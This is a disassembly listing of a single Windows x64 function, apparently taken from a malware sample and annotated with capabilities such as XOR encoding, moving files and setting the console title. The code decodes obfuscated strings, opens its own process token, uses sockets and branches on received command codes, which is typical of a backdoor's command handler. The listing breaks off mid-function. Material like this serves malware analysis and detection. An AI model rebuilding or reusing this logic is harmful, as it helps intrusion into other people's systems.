Function at 0x140020940
Capabilities:
Encode data using xor
Move file
Set console window title

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x878]
sub rsp, 0x950
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x1400a3c40]
xor rax, rsp
mov qword [rbp + 0x810], rax
mov edx, 7
lea rcx, [rbp + 0x120]
call fcn.14001acc0
cmp qword [rax + 0x18], 0x10
jb 0x14002099f
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov rdx, qword [rbp + 0x138]
cmp rdx, 0x10
jb 0x1400209e9
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400209e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002557a
call fcn.14005b964
mov r8d, 0x104
lea rdx, [rbp + 0x6e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 7
lea rcx, [rbp + 0x100]
call fcn.14001acc0
nop
lea rdx, str..exe
mov rcx, rax
call fcn.1400088e0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
xor esi, esi
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], send
mov byte [rax], sil
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rdx, qword [rbp - 0x50]
lea rcx, [rbp + 0x6e0]
call fcn.14002b27c
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x140020a94
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020a8f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025580
call fcn.14005b964
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], send
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x140020ae5
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020ae0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025586
call fcn.14005b964
lea rcx, [rbp + 0x550]
call fcn.140004a70
nop
mov qword [rbp + 0x580], rsi
mov qword [rbp + 0x590], rsi
mov qword [rbp + 0x598], send
mov byte [rbp + 0x580], 0
mov eax, dword [str.xQL_f]
mov dword [rsp + 0x40], eax
movzx eax, word [0x1400921c4]
mov word [rsp + 0x44], ax
mov byte [rsp + 0x40], 0x4b
xor byte [rsp + 0x41], 0x34
xor byte [rsp + 0x42], 0x35
xor byte [rsp + 0x43], 0x36
xor byte [rsp + 0x44], 0x37
xor byte [rsp + 0x45], 0x38
lea rdx, [rsp + 0x40]
lea rcx, [0x1409febe0]
call fcn.140017710
lea rdx, [rbp + 0x580]
lea rcx, [0x1409feda0]
call fcn.140026270
lea rax, [rbp + 0x140]
mov qword [rbp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x530], xmm0
movups xmmword [rbp + 0x540], xmm0
lea rbx, vtable.ATL::CAccessToken.0
mov qword [rbp + 0x530], rbx
movdqu xmmword [rbp + 0x538], xmm0
mov qword [rbp + 0x548], rsi
xor eax, eax
movups xmmword [rbp + 0x660], xmm0
movups xmmword [rbp + 0x670], xmm0
movups xmmword [rbp + 0x680], xmm0
movups xmmword [rbp + 0x690], xmm0
movups xmmword [rbp + 0x6a0], xmm0
movups xmmword [rbp + 0x6b0], xmm0
movups xmmword [rbp + 0x6c0], xmm0
mov qword [rbp + 0x6d0], rax
lea rcx, [rbp + 0x660]
call fcn.14001a1f0
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x490]
mov edx, 0x20008
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140020cb7
lea rcx, [rbp + 0x530]
mov rax, qword [rbp + 0x530]
call qword [rax + htons]
mov rax, qword [rbp + 0x490]
mov qword [rbp + 0x538], rax
lea rdx, [rbp + 0x660]
lea rcx, [rbp + 0x530]
call fcn.140025c60
test al, al
je 0x140020cb7
lea rcx, [rbp + 0x660]
call fcn.14001a390
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.140025780
nop
mov rdx, qword [rax]
mov qword [rbp + 0x140], rsi
mov qword [rbp + 0x150], rsi
mov qword [rbp + 0x158], send
mov r14, 0xffffffffffffffff
mov r8, r14
inc r8
cmp byte [rdx + r8], 0
jne 0x140020c85
lea rcx, [rbp + 0x140]
call fcn.140003650
nop
lea rax, [rbp + 0x2d8]
mov rcx, qword [rbp + 0x2d0]
cmp rcx, rax
je 0x140020cb5
call fcn.140026de8
nop
jmp 0x140020cd7
mov qword [rbp + 0x140], rsi
mov qword [rbp + 0x150], rsi
mov qword [rbp + 0x158], send
mov r14, 0xffffffffffffffff
lea rax, vtable.ATL::CSid.0
mov rdx, qword [rbp + 0x6d0]
mov qword [rbp + 0x660], rax
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140020d06
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + htons]
mov rdx, qword [rbp + 0x6c8]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140020d27
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + htons]
mov rdx, qword [rbp + 0x6c0]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140020d48
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + htons]
mov rdx, qword [rbp + 0x6b8]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140020d6a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + htons]
nop
mov rdx, qword [rbp + 0x540]
test rdx, rdx
mov rcx, qword [rbp + 0x538]
mov qword [rbp + 0x530], rbx
je 0x140020d9d
test rcx, rcx
je 0x140020d96
call qword [sym.imp.USERENV.dll_UnloadUserProfile]
mov rcx, qword [rbp + 0x538]
mov qword [rbp + 0x540], rsi
test rcx, rcx
je 0x140020daf
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0x538], rsi
mov edx, 8
mov rcx, qword [rbp + 0x548]
call fcn.14005b964
mov qword [rbp + 0x548], rsi
lea rdx, [rbp + 0x580]
lea rcx, [rbp + 0x288]
call fcn.140008b30
nop
lea r9, [rbp + 0x140]
mov r8, rax
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x550]
call fcn.1400055a0
mov ecx, dword [rbp + 0x54]
test ecx, ecx
je 0x1400251a3
sub ecx, 1
je 0x140024ff3
sub ecx, 1
je 0x140024e43
sub ecx, 2
je 0x140024c92
cmp ecx, 1
jne 0x14002558c
movups xmm0, xmmword [str.pFPRRVMSZPN]
movups xmmword [rbp + 0x250], xmm0
movups xmm1, xmmword [0x1400923b0]
movups xmmword [rbp + 0x260], xmm1
movups xmm0, xmmword [0x1400923c0]
movups xmmword [rbp + 0x270], xmm0
movzx eax, byte [0x1400923d0]
mov byte [rbp + 0x280], al
mov r8d, esi
lea r12d, [rcx + 3]
lea r13d, [rcx + 0x1e]
mov edi, dword [0x1400a3c50]
cmp edi, 2
jl 0x140020fb7
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x254]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140020eb0
cmp r8d, 0x31
jge 0x140021000
movsxd rax, r8d
lea r9, [rbp + 0x250]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140020fd0
lea rdx, [rbp + 0x250]
lea rcx, [0x1409febe0]
call fcn.140017710
mov rcx, rax
call fcn.140017980
lea rdx, [rbp + 0x5c0]
lea rcx, [rbp + 0x550]
call fcn.140005e80
nop
cmp byte [rbp + 0x5f0], 0
je 0x1400211e3
lea rdx, [rbp + 0x188]
call fcn.140025730
mov r9, rax
cmp byte [rax + 0x25], 0
je 0x1400253c5
cmp edi, 2
jl 0x1400211a6
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x20
jl 0x1400210a0
cmp esi, 0x26
jge 0x1400253c5
movsxd r8, esi
add r8, r9
nop dword [rax]
mov eax, 0x4ec4ec4f
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, sil
sub al, dl
add al, 0x33
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x26
jge 0x1400253c5
jmp 0x1400211b0
mov eax, dword [str.de7]
mov dword [rsp + 0x64], eax
movzx eax, byte [0x140092100]
mov byte [rsp + 0x64], 0x57
xor byte [rsp + 0x65], 0x34
xor byte [rsp + 0x66], 0x35
xor byte [rsp + 0x67], 0x36
xor al, 0x37
mov byte [rsp + 0x68], al
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], send
mov byte [rbp - 0x50], 0
lea rax, [rsp + 0x64]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140021230
lea rdx, [rsp + 0x64]
lea rcx, [rbp - 0x50]
call fcn.140003650
nop
lea rdx, [rbp + 0x580]
lea rcx, [rbp - 0x50]
call fcn.140008980
mov qword [rbp + 0x4a0], rsi
mov qword [rbp + 0x4b0], rsi
mov qword [rbp + 0x4b8], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x4a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x4b0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], send
mov byte [rax], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x1400212cd
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400212c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025594
call fcn.14005b964
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], send
mov byte [rbp - 0x50], 0
lea rcx, [rbp + 0x4a0]
cmp qword [rbp + 0x4b8], 0x10
cmovae rcx, qword [rbp + 0x4a0]
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
movups xmm0, xmmword [str.cQG_VVTO]
movups xmmword [rbp + 0x160], xmm0
movzx eax, word [0x140092270]
mov word [rbp + 0x170], ax
cmp byte [0x140092271], 0
je 0x1400214c0
mov r8d, esi
cmp edi, 2
jl 0x140021477
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x164]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140021370
cmp r8d, 0x12
jge 0x1400214c0
movsxd rax, r8d
lea r9, [rbp + 0x160]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140021490
lea rcx, [rbp + 0x640]
cmp qword [rbp + 0x658], 0x10
setae r10b
mov r9, qword [rbp + 0x640]
cmovae rcx, r9
lea r8, [rbp + 0x160]
sub r8, rcx
nop dword [rax + rax]
movzx edx, byte [rcx]
movzx eax, byte [rcx + r8]
sub edx, eax
jne 0x140021503
inc rcx
test eax, eax
jne 0x1400214f0
test edx, edx
jne 0x140021c63
movups xmm0, xmmword [str.cFPFVJPT_]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x1400920e0]
movups xmmword [rbp - 0x20], xmm1
movsd xmm0, qword [0x1400920f0]
movsd qword [rbp - 0x10], xmm0
movzx eax, word [0x1400920f8]
mov word [rbp - 8], ax
movzx eax, byte [0x1400920fa]
mov byte [rbp - 6], al
mov r8d, esi
cmp edi, 2
jl 0x140021697
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x2c]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140021590
cmp r8d, 0x2b
jge 0x1400216e0
movsxd rax, r8d
lea r9, [rbp - 0x30]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x1400216b0
lea rdx, [rbp - 0x30]
lea rcx, [0x1409febe0]
call fcn.140017710
mov rcx, rax
call fcn.140017980
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4c0], xmm0
mov qword [rbp + 0x4d0], rax
lea rdx, [rbp + 0x640]
cmp qword [rbp + 0x658], 0x10
cmovae rdx, qword [rbp + 0x640]
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0x90], send
mov r8, r14
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140021740
lea rcx, [rbp + 0x78]
call fcn.140003650
lea r8, [rbp + 0x78]
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x550]
call fcn.140007190
nop
mov rbx, qword [rbp + 0x4c0]
cmp rbx, qword [rbp + 0x4c8]
jne 0x1400218e0
test rbx, rbx
je 0x1400217cd
mov rdx, qword [rbp + 0x4d0]
sub rdx, rbx
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400217b3
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002559a
mov rcx, rbx
call fcn.14005b964
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4c0], xmm0
mov qword [rbp + 0x4d0], rsi
mov rdx, qword [rbp + 0x4b8]
cmp rdx, 0x10
jb 0x14002180e
inc rdx
mov rcx, qword [rbp + 0x4a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021809
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400255a0
call fcn.14005b964
mov qword [rbp + 0x4b0], rsi
mov qword [rbp + 0x4b8], send
mov byte [rbp + 0x4a0], 0
lea rcx, [rbp + 0x5c0]
call fcn.140006750
nop
mov rdx, qword [rbp + 0x598]
cmp rdx, 0x10
jb 0x140021876
inc rdx
mov rcx, qword [rbp + 0x580]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021870
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400255a6
call fcn.14005b964
nop
mov rcx, qword [rbp + 0x558]
test rcx, rcx
je 0x140021888
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbp + 0x550], 0
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rbp + 0x578]
cmp rdx, 0x10
jb 0x1400218d6
inc rdx
mov rcx, qword [rbp + 0x560]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400218d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400255ac
call fcn.14005b964
mov eax, 1
jmp 0x140021c24
movups xmm0, xmmword [0x1400923f8]
movups xmmword [rbp + 0x30], xmm0
movsd xmm1, qword [str.__h_0_JgPDR]
movsd qword [rbp + 0x40], xmm1
cmp byte [0x14009240f], 0
je 0x140021a89
mov r8d, esi
cmp edi, 2
jl 0x140021a51
movdqa xmm5, xmmword [0x1400926d0]
mov edx, esi
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x34]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x140021950
jmp 0x140021a89
lea r9, [rbp + 0x30]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x140021a60
mov qword [rbp + 0x58], rsi
mov qword [rbp + 0x68], rsi
mov qword [rbp + 0x70], send
lea rax, [rbp + 0x30]
nop dword [rax]
inc r14
cmp byte [rax + r14], 0
jne 0x140021aa0
mov r8, r14
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x58]
call fcn.140003650
mov rdx, rbx
lea rcx, [rbp + 0x58]
call fcn.140020440
nop
mov rcx, qword [rbp + 0x4c0]
test rcx, rcx
je 0x140021b19
mov rdx, qword [rbp + 0x4d0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021b02
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002559a
call fcn.14005b964
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4c0], xmm0
mov qword [rbp + 0x4d0], rsi
mov rdx, qword [rbp + 0x4b8]
cmp rdx, 0x10
jb 0x140021b5a
inc rdx
mov rcx, qword [rbp + 0x4a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021b55
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400255a0
call fcn.14005b964
mov qword [rbp + 0x4b0], rsi
mov qword [rbp + 0x4b8], send
mov byte [rbp + 0x4a0], 0
lea rcx, [rbp + 0x5c0]
call fcn.140006750
nop
mov rdx, qword [rbp + 0x598]
cmp rdx, 0x10
jb 0x140021bc2
inc rdx
mov rcx, qword [rbp + 0x580]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021bbc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400255a6
call fcn.14005b964
nop
mov rcx, qword [rbp + 0x558]
test rcx, rcx
je 0x140021bd4
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbp + 0x550], 0
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rbp + 0x578]
cmp rdx, 0x10
jb 0x140021c22
inc rdx
mov rcx, qword [rbp + 0x560]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021c1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400255ac
call fcn.14005b964
xor eax, eax
mov rcx, qword [rbp + 0x810]
xor rcx, rsp
call fcn.14005b410
lea r11, [rsp + 0x950]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov eax, dword [str.vGVWG_9]
mov dword [rsp + 0x6c], eax
movzx eax, word [0x140091f90]
mov word [rsp + 0x70], ax
movzx eax, byte [0x140091f92]
mov byte [rsp + 0x6c], 0x45
xor byte [rsp + 0x6d], 0x34
xor byte [rsp + 0x6e], 0x35
xor byte [rsp + 0x6f], 0x36
